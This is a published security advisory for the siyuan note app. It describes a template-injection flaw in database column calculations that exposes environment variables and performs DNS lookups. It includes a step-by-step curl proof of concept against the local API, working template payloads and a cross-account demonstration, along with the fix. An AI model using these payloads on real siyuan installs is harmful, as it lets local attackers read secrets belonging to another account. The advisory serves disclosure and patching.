Skip to content

SSTI env/DNS leak via attribute-view Template calculation

Moderate
88250 published GHSA-v97v-gxxg-rhmq Aug 1, 2026

Package

gomod github.com/siyuan-note/siyuan/kernel (Go)

Affected versions

<= 3.7.3

Patched versions

v3.7.4

Description

Summary

siyuan's fix for CVE-2024-55660 (commit e70ed57f6, 2024-12-11) removed three dangerous functions — env, expandenv, getHostByName — from the function that builds the list of callable functions for siyuan's Sprig-based
live-template features (at the time, kernel/treenode/template.go; the same function now lives at kernel/filesys/template.go as
BuiltInTemplateFuncs(), relocated in an unrelated later refactor). That fix covered every template sink that existed at the time — confirmed by counting call sites of sprig.TxtFuncMap(): exactly one, at the commit before the
fix.

About 18 months later, siyuan shipped a new feature (v3.7.0-beta.1, 2026-06-23): database ("attribute view") columns and groups can show a summary calculation, and one of the built-in calculation types across every field type the feature supports (not just Rollup fields — Block, Text, Number, Date, Select, MSelect, URL, Email, Phone, MAsset, Created,
Updated, and Rollup all wire up the same CalcOperatorTemplate case) is a custom Go-template formula (Calc.Operator == "Template"). This feature's template engine is built in kernel/av/calc_template.go's templateFuncMap(), which calls Sprig's function list directly (sprig.TxtFuncMap()) rather than through BuiltInTemplateFuncs(). It never
received the 2024 fix's three delete() calls, because that fix predates this feature entirely. env, expandenv, and getHostByName are present and callable in this feature's formulas exactly as Sprig ships them, on every siyuan release from v3.7.0-beta.1 to the current development tip independently re-verified against the actual current tip of origin/dev
and the latest tagged pre-release, see "Affected versions" below.

This feature is reachable with no login from any local process or OS account on the machine running siyuan — the kernel binds to 127.0.0.1 only by default, and TCP loopback carries no per-UID access control, so any local account is an equally capable requester. It is not remotely reachable under default configuration. Exploiting requires no filesystem access, and lets an attacker read environment variables belonging to the account running siyuan even from a separate, unprivileged OS account that has no direct permission to see them.

Details

kernel/av/calc_template.go:

func templateFuncMap() template.FuncMap {
	tplFuncs := sprig.TxtFuncMap()   // Sprig's full, unmodified default list
	tplFuncs["countif"] = util.CountIf
	return tplFuncs
}

Compare with kernel/filesys/template.go, the function the 2024 fix actually edited:

func BuiltInTemplateFuncs() (ret template.FuncMap) {
	ret = sprig.TxtFuncMap()

	// 因为安全原因移除一些函数 https://github.com/siyuan-note/siyuan/issues/13426
	delete(ret, "env")
	delete(ret, "expandenv")
	delete(ret, "getHostByName")
	...
}

templateFuncMap() is used by evalRollupTemplate() in the same file (despite the name, this function is the shared, generic entry point for all field types' template calculations. The code comment at calc_template.go:155 confirms this: "通用入口,非
Rollup" / "generic entry, not Rollup"). It's called from calcFieldByTemplate(), reached via a case CalcOperatorTemplate: branch present in roughly a dozen separate per-field-type calc functions in kernel/av/calc.go (one
each for Block, Text, Number, Date, Select, MSelect, URL, Email, Phone, MAsset, Created, Updated, and Rollup), all reached from av.Calc(), called from renderViewableInstance() on every non-ignoreRows render and again from a separate group-calc code path.

The payload is saved into the attribute view's JSON on disk as part of the column definition, and re-executes on
every subsequent render, including renders triggered by the legitimate user simply opening the document containing the database.

Proof of Concept

Against a default install (accessAuthCode unset, no login):

BASE=http://127.0.0.1:6806
AVID="20260731230001-m1n2o3p"      # any siyuan-format ID: 14-digit timestamp + '-' + 7 lowercase alnum
KEYID="20260731230002-n2o3p4q"

# 1. create a database (auto-created if the ID doesn't exist yet)
curl -s -X POST "$BASE/api/av/renderAttributeView" -d "{\"id\":\"$AVID\"}"

# 2. add a text column
curl -s -X POST "$BASE/api/av/addAttributeViewKey" \
  -d "{\"avID\":\"$AVID\",\"keyID\":\"$KEYID\",\"keyName\":\"Gadget\",\"keyType\":\"text\",\"keyIcon\":\"\",\"previousKeyID\":\"\"}"

# 3. add a row (note: siyuan assigns its own row ID, ignoring the one sent here —
#    read the real ID back from this same render call's "rows" field)
curl -s -X POST "$BASE/api/av/addAttributeViewBlocks" \
  -d "{\"avID\":\"$AVID\",\"srcs\":[{\"id\":\"placeholder\",\"content\":\"row1\",\"isDetached\":true}]}"
curl -s -X POST "$BASE/api/av/renderAttributeView" -d "{\"id\":\"$AVID\"}"
# -> read data.view.rows[0].id as $ROWID

# 4. give that row's cell a non-blank value (required for the calc to run at all)
curl -s -X POST "$BASE/api/transactions" \
  -d "{\"reqId\":1,\"transactions\":[{\"doOperations\":[{\"action\":\"updateAttrViewCell\",\"avID\":\"$AVID\",\"keyID\":\"$KEYID\",\"rowID\":\"$ROWID\",\"data\":{\"type\":\"text\",\"text\":{\"content\":\"x\"}}}]}]}"

# 5. set the column's calculation to the payload
curl -s -X POST "$BASE/api/transactions" \
  -d "{\"reqId\":2,\"transactions\":[{\"doOperations\":[{\"action\":\"setAttrViewColCalc\",\"avID\":\"$AVID\",\"id\":\"$KEYID\",\"blockID\":\"\",\"data\":{\"operator\":\"Template\",\"template\":\".action{ env \\\"HOME\\\" }\"}}]}]}"

# 6. render and read the result
curl -s -X POST "$BASE/api/av/renderAttributeView" -d "{\"id\":\"$AVID\"}"
# -> columns[].calc.result.text.content == the real value of $HOME on the server

Confirmed working payloads (each substituted into step 5's template field, read back in step 6):

Formula Confirmed result
.action{ env "HOME" } Real value of $HOME on the server (e.g. /Users/<tester>)
.action{ expandenv "$HOME/$USER" } Real expansion (e.g. /Users/<tester>/<tester>)
.action{ getHostByName "localhost" } Resolves the given hostname to its real address (e.g. 127.0.0.1 or ::1, depending on the host's resolver)

The absence of SQLTemplateFuncs and siyuan's own BuiltInTemplateFuncs() additions from this sink can be shown differentially, which also independently proves this FuncMap is unmodified Sprig rather than a
partially-patched copy:

.action{ queryBlocks "SELECT 1" }   -> no result (SQLTemplateFuncs absent)
.action{ statBlock "x" }            -> no result (BuiltInTemplateFuncs-only addition, absent)
.action{ getHPathByID "x" }         -> no result (BuiltInTemplateFuncs-only addition, absent)
.action{ add 1 2 }                  -> 3        (plain Sprig, present)
.action{ uuidv4 }                   -> a real UUID (plain Sprig, present)

Cross-account escalation

Environment variables belong to the process that owns them; on a multi-account machine, a different OS account normally cannot read them directly. Tested against a real second account (_www, macOS's built-in low-privilege web-server account) on the same host running siyuan:

# siyuan started by the primary account with a marker env var set:
#   SIYUAN_TEST_SECRET=confused-deputy-env-marker-79511-1785556034

# as _www: attempt a direct read of the siyuan process's environment
sudo -u _www ps eww <siyuan-pid>
# -> process listing with NO environment block at all — confirmed by
#    contrast with the identical command run as the account that owns
#    the process, which DOES show the full environment, marker included.

# as _www: read the same value anyway, through the vulnerable endpoint
sudo -u _www curl -s -X POST http://127.0.0.1:6806/api/av/renderAttributeView \
  -d '{"id":"<avID from PoC step 5>"}'
# -> "content":"confused-deputy-env-marker-79511-1785556034"

Impact

Any local process or OS account on the machine running siyuan can:

  • Read any environment variable available to the siyuan process — API keys, tokens, or other configuration secrets, depending on deployment.
  • Perform DNS lookups from the server's network position, usable to probe what hosts/services the server can reach, including internal ones the attacker couldn't otherwise resolve directly.
  • On a shared, multi-account host, do both of the above even from an OS account with zero direct permission to the data identical escalation shape to GHSA-m6j5-gh3m-r8v6.

This is not remotely exploitable under default configuration. The severity here is specifically about local privilege separation between OS accounts on a shared machine, or between the siyuan process and any other local software that can merely open a loopback TCP connection.

Within that scope, this is a full reopening of the original CVE-2024-55660 information disclosure, through a code path introduced after that fix.

Distinction with CVE-2024-55660

GHSA-v97v-gxxg-rhmq is a distinct vulnerability from CVE-2024-55660, not a duplicate.

CVE-2024-55660 (fixed in v3.1.16, December 2024) affected the note template rendering feature in kernel/model/template.go. The function RenderGoTemplate called sprig.TxtFuncMap() without removing dangerous functions (env, expandenv, getHostByName). The fix correctly introduced filesys.BuiltInTemplateFuncs(), which deletes these functions from the map before use. That fix is complete — the original code path is no longer exploitable.

GHSA-v97v-gxxg-rhmq affects the attribute-view database column calculation feature in kernel/av/calc_template.go. The function templateFuncMap() calls sprig.TxtFuncMap() directly, without routing through the hardened BuiltInTemplateFuncs(). This code was introduced in v3.7.0-beta.1 (June 2026) — 18 months after CVE-2024-55660 was fixed — as part of a new "Template" calculation type for database columns that did not exist when CVE-2024-55660 was reported or fixed.

CVE-2024-55660 This advisory
Feature Note template rendering Database column calculations
File kernel/model/template.go kernel/av/calc_template.go
Function RenderGoTemplate templateFuncMap()
API entry point /api/template/renderSprig Database column template formula
Introduced Pre-v3.1.15 v3.7.0-beta.1 (June 2026)

These are different files, different functions, different features, with different API entry points, introduced at different times. The recommended fix — routing templateFuncMap() through the existing BuiltInTemplateFuncs() — references CVE-2024-55660's patch as the model for the correct approach, but the vulnerable code itself is independent.

( @88250 Could you please re-submit this for a CVE since this section covers Github's ask? Thank you)

Suggested fix

Route kernel/av/calc_template.go's templateFuncMap() through
filesys.BuiltInTemplateFuncs() instead of calling sprig.TxtFuncMap()
directly — the same fix already applied to every other Sprig-based template
sink in the codebase. Minimal, consistent with existing precedent
(0a176345e, the fix for GHSA-m6j5-gh3m-r8v6, took exactly this
"apply the existing guard, don't redesign the feature" approach), and
doesn't require removing the Template-calculation feature itself.

Affected versions

v3.7.0-beta.1 (2026-06-23) through the current development tip —
continuously, never covered by either prior fix. Independently re-verified
by a second reviewer, from a separate fresh clone, against the actual
current tip of origin/dev and the latest tagged pre-release — not just
the version originally tested:

Version Date Commit What happened
v3.7.0-beta.1 2026-06-23 5e783155c (first tagged release containing fbda8db9d/669c95861, both 2026-06-17) kernel/av/calc_template.go and the Calc.Operator == "Template" calculation type introduced, wired into every attribute-view field type's calc dispatch. templateFuncMap() calls sprig.TxtFuncMap() directly from day one — this predates the file existing at all, so the CVE-2024-55660 fix (e70ed57f6, 2024-12-11) couldn't have touched it.
v3.7.4-alpha.1 2026-07-25 0a176345e present The GHSA-m6j5-gh3m-r8v6 fix lands, scoped to SQLTemplateFuncs and getDynamicIcon only — calc_template.go untouched, confirmed by reading the diff (empty diff for that file between this commit and current dev).
v3.7.4-alpha.4 2026-08-01 63e60bc4bc9a4f1144bffb951e3a93e37d477f73 Latest tagged pre-release as of this writing (fixes an unrelated stored-XSS advisory, GHSA-m7cc-jh9q-wxg8). Independently rebuilt from a fresh clone and re-exploited — env/expandenv/getHostByName all still reachable, exact marker values confirmed.
origin/dev tip 2026-08-01 8cddf3d113c4304e40568322f26665055aaefe6b Independently rebuilt and re-exploited, both --mode dev and --mode prod — reviewed every commit between v3.7.4-alpha.1 and this one touching kernel/av/, kernel/filesys/template.go, kernel/model/session.go, kernel/sql/, and kernel/api/router.go: several unrelated security fixes landed in this window (XSS, encrypted notebooks, publish-mode leaks, session handling), none touching Sprig FuncMaps, template validation, or the attribute-view calc path. No silent fix.

CWE

CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor): env/expandenv, and CWE-918 (Server-Side Request Forgery, weakly getHostByName performs attacker-directed DNS resolution from the server's
network position, no follow-on request) — reached through CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine), the same class as CVE-2024-55660 and GHSA-m6j5-gh3m-r8v6.

Severity

Moderate

CVE ID

No known CVE

Weaknesses

Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. Learn more on MITRE.

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

Improper Neutralization of Special Elements Used in a Template Engine

The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine. Learn more on MITRE.

Credits